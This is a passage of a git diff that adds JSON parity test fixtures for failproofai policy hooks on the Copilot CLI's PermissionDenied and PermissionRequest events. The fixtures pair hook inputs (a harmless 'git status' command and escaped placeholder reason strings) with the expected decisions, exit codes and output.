"policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4f6233b1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a071a7de --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c0026a97 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8226f32a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..63b92808 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c4924724 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..da955d38 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a362e2b4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2570ecea --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..fd070756 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..58f47180 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c3f6815a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..51909b47 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5671135c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e1129b55 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8e221f13 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f4a96a63 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7f002a63 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git 